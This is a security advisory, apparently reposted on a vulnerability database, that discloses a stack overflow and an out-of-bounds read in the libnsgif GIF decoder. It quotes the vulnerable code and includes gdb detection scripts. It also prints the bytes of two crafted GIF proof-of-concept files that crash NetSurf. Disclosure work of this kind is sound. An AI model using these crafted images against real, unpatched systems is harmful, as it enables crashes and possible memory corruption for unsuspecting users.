libnsgif stack overflow and out-of-bounds read

2015.12.17
Risk: High
Local: Yes
Remote: Yes
CWE: CWE-119

Overview ======== Libnsgif[1] is a decoding library for GIF images. It is primarily developed and used as part of the NetSurf project. As of version 0.1.2, libnsgif is vulnerable to a stack overflow (CVE-2015-7505) and an out-of-bounds read (CVE-2015-7506) due to the way LZW-compressed GIF data is processed. Details ======= src/libnsgif.c #80..133: ,---- | /* Maximum LZW bits available | */ | #define GIF_MAX_LZW 12 | [...] | static int table[2][(1 << GIF_MAX_LZW)]; | static unsigned char stack[(1 << GIF_MAX_LZW) * 2]; `---- src/libnsgif.c #423..628: ,---- | static gif_result gif_initialise_frame(gif_animation *gif) { | [...] | if (gif_data[0] > GIF_MAX_LZW) | return GIF_DATA_ERROR; | [...] | } `---- src/libnsgif.c #751..1053: ,---- | gif_result gif_decode_frame(gif_animation *gif, unsigned int frame) { | [...] | /* Initialise the LZW decoding | */ | set_code_size = gif_data[0]; | [...] | code_size = set_code_size + 1; | clear_code = (1 << set_code_size); | end_code = clear_code + 1; | max_code_size = clear_code << 1; | max_code = clear_code + 2; | [...] | } `---- src/libnsgif.c #1145..1169: ,---- | void gif_init_LZW(gif_animation *gif) { | [...] | *stack_pointer++ =firstcode; | } `---- src/libnsgif.c #1172..1237: ,---- | static bool gif_next_LZW(gif_animation *gif) { | [...] | code = gif_next_code(gif, code_size); | [...] | incode = code; | if (code >= max_code) { | *stack_pointer++ = firstcode; | code = oldcode; | } | | /* The following loop is the most important in the GIF decoding cycle as every | * single pixel passes through it. | * | * Note: our stack is always big enough to hold a complete decompressed chunk. */ | while (code >= clear_code) { | *stack_pointer++ = table[1][code]; | new_code = table[0][code]; | if (new_code < clear_code) { | code = new_code; | break; | } | *stack_pointer++ = table[1][new_code]; | code = table[0][new_code]; | if (code == new_code) { | gif->current_error = GIF_FRAME_DATA_ERROR; | return false; | } | } | | *stack_pointer++ = firstcode = table[1][code]; | [...] | oldcode = incode; | [...] | } `---- CVE-2015-7505 ============= Since `gif_next_LZW()' writes onto the stack so long as `code' is at least `clear_code', an overflow may eventually occur while processing a maliciously crafted image. Using NetSurf as an example: ,---- | ~/netsurf-all-3.3/netsurf$ gdb -x stack.py --args ./nsgtk stack.gif | [...] | stack overflow: ptr: 0x968903, end of stack: 0x968900 (+3) | stack overflow: ptr: 0x968904, end of stack: 0x968900 (+4) | stack overflow: ptr: 0x968905, end of stack: 0x968900 (+5) | stack overflow: ptr: 0xf0000968906, end of stack: 0x968900 (+16492674416646) | | Program received signal SIGSEGV, Segmentation fault. | 0x000000000051a890 in gif_next_LZW (gif=0xbccc00) at src/libnsgif.c:1210 | 1210 *stack_pointer++ = table[1][code]; | (gdb) `---- stack.py: ,---- | class Breakpoint(gdb.Breakpoint): | def stop(self): | stack_pointer = get_hex("stack_pointer") | stack = get_hex("&stack") | stack_size = get_hex("sizeof stack / sizeof *stack") | stack_end = stack + stack_size | | table_size = get_hex("sizeof table / sizeof **table / 2") | code = get_hex("code") | | if stack_pointer > stack_end: | print("stack overflow: ptr: 0x%x, end of stack: 0x%x (+%d)" % | (stack_pointer, stack_end, stack_pointer - stack_end)) | if code >= table_size: | print("out-of-bounds read: code: %d (+%d)" % | (code, code - table_size + 1)) | return False | | def get_hex(arg): | res = gdb.execute("print/x %s" % arg, to_string=True) | x = res.split(" ")[-1].strip() | return int(x, 16) | | Breakpoint("netsurf-all-3.3/libnsgif/src/libnsgif.c:1210") | Breakpoint("netsurf-all-3.3/libnsgif/src/libnsgif.c:1216") | | gdb.execute("run") `---- stack.gif: ,---- | unsigned char stack[] = { | /* GIF87a */ | 0x47, 0x49, 0x46, 0x38, 0x37, 0x61, | | /* gif_initialise() */ | 0x04, 0x00, /* gif->width */ | 0x04, 0x33, /* gif->height */ | 0x00, /* gif->global_colours */ | 0x00, /* gif->background_index */ | 0x00, /* gif->aspect_ratio */ | | /* gif_initialise_frame() */ | 0x2c, /* GIF_IMAGE_SEPARATOR */ | 0x00, 0x00, /* offset_x */ | 0x00, 0x00, /* offset_y */ | 0x1b, 0x00, /* width */ | 0x04, 0x00, /* height */ | 0x00, /* flags */ | 0x04, /* code size */ | 0x0d, /* block_size */ | | /* image data */ | 0x10, 0xcb, | 0x41, 0xf3, | 0xf3, 0xf3, | 0xf3, 0xf3, | 0xf3, 0xf3, | 0xf3, 0xf3, | 0xf3, | | /* end of image data */ | 0x00, | | /* end of .gif */ | 0x3b | }; `---- CVE-2015-7506 ============= If `set_code_size' is 0xc, `clear_code' is assigned a value of 4096. Since the while-loop in `gif_next_LZW()' executes so long as `code >= clear_code', an out-of-bounds read might occur due to `code' being used to dereference `table' (2d array * 4096). A boundary check exist in that if `code >= max_code', it's assigned the value of `oldcode' -- however, the result may still exceed `max_code' due to the bookkeeping of the *original* value: src/libnsgif.c #1172..1237: ,---- | static bool gif_next_LZW(gif_animation *gif) { | [...] | incode = code; | if (code >= max_code) { | *stack_pointer++ = firstcode; | code = oldcode; | } | [...] | oldcode = incode; | [...] | } `---- Again, using NetSurf as an example: ,---- | ~/netsurf-all-3.3/netsurf$ gdb -x oob.py --args ./nsgtk oob.gif | [...] | out-of-bounds read: code: 6670 (+2575) | out-of-bounds read: code: 7999 (+3904) `---- oob.py: ,---- | class Breakpoint(gdb.Breakpoint): | def stop(self): | stack_pointer = get_hex("stack_pointer") | stack = get_hex("&stack") | stack_size = get_hex("sizeof stack / sizeof *stack") | stack_end = stack + stack_size | | table_size = get_hex("sizeof table / sizeof **table / 2") | code = get_hex("code") | | if stack_pointer > stack_end: | print("stack overflow: ptr: 0x%x, end of stack: 0x%x (+%d)" % | (stack_pointer, stack_end, stack_pointer - stack_end)) | if code >= table_size: | print("out-of-bounds read: code: %d (+%d)" % | (code, code - table_size + 1)) | return False | | def get_hex(arg): | res = gdb.execute("print/x %s" % arg, to_string=True) | x = res.split(" ")[-1].strip() | return int(x, 16) | | Breakpoint("netsurf-all-3.3/libnsgif/src/libnsgif.c:1210") | Breakpoint("netsurf-all-3.3/libnsgif/src/libnsgif.c:1216") | | gdb.execute("run") `---- oob.gif: ,---- | unsigned char oob[] = { | /* GIF87a */ | 0x47, 0x49, 0x46, 0x38, 0x37, 0x61, | | /* gif_initialise() */ | 0x04, 0x00, /* gif->width */ | 0x04, 0x33, /* gif->height */ | 0x00, /* gif->global_colours */ | 0x00, /* gif->background_index */ | 0x00, /* gif->aspect_ratio */ | | /* gif_initialise_frame() */ | 0x2c, /* GIF_IMAGE_SEPARATOR */ | 0x00, 0x00, /* offset_x */ | 0x00, 0x00, /* offset_y */ | 0x1b, 0x00, /* width */ | 0x04, 0x00, /* height */ | 0x00, /* flags */ | 0x0c, /* code size */ | 0x0d, /* block_size */ | | /* image data */ | 0x10, 0xcb, | 0x41, 0xf3, | 0xf3, 0xf3, | 0xf3, 0xf3, | 0xf3, 0xf3, | 0xf3, 0xf3, | 0xf3, | | /* end of image data */ | 0x00, | | /* end of .gif */ | 0x3b | }; `---- Solution ======== Both vulnerabilities are fixed in git HEAD[2]. Footnotes _________ [1] [http://www.netsurf-browser.org/projects/libnsgif/] [2] [http://source.netsurf-browser.org/libnsgif.git/] Hans Jerry Illikainen

References:

http://source.netsurf-browser.org/libnsgif.git/
http://www.netsurf-browser.org/projects/libnsgif/


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top